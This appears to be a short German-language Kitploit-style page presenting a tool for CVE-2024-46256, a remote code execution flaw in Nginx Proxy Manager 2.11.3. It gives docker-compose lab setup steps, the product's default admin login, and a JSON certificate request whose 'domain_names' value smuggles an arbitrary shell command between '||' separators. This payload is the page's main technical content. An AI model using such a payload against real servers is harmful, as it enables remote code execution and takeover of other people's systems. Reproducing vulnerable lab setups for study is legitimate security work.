CVE-2024-46256 — CVE-2024-46256 Werkzeug | Kitploit

Teilen

CVE-2024-46256 Nginx Proxy Manager RCE Schwachstellenanalyse

Umgebungsaufbau

1. Ausführung der Nginx Proxy Manager 2.11.3 Umgebung


docker-compose up -d

Oder Sie können das automatische Skript verwenden:


python setup_environment.py

2. Zugriff auf den Nginx Proxy Manager

URL: http://localhost:81
Nach Abschluss der Ersteinrichtung den Test durchführen
Mit dem Standard-Administratorkonto anmelden (E-Mail: [email protected] / Passwort: changeme)
Zugriffsrechte für die Zertifikatsausstellungsfunktionen überprüfen

Schwachstelleninformationen

CVE ID: CVE-2024-46256
Produkt: Nginx Proxy Manager
Version: 2.11.3

Tool herunterladen

{
  "domain_names": ["test.com\"||{command}||\\n test.com\""],
  "meta": {
    "dns_challenge": false,
    "letsencrypt_agree": true,
    "letsencrypt_email": "[email protected]"
  },
  "provider": "letsencrypt"
}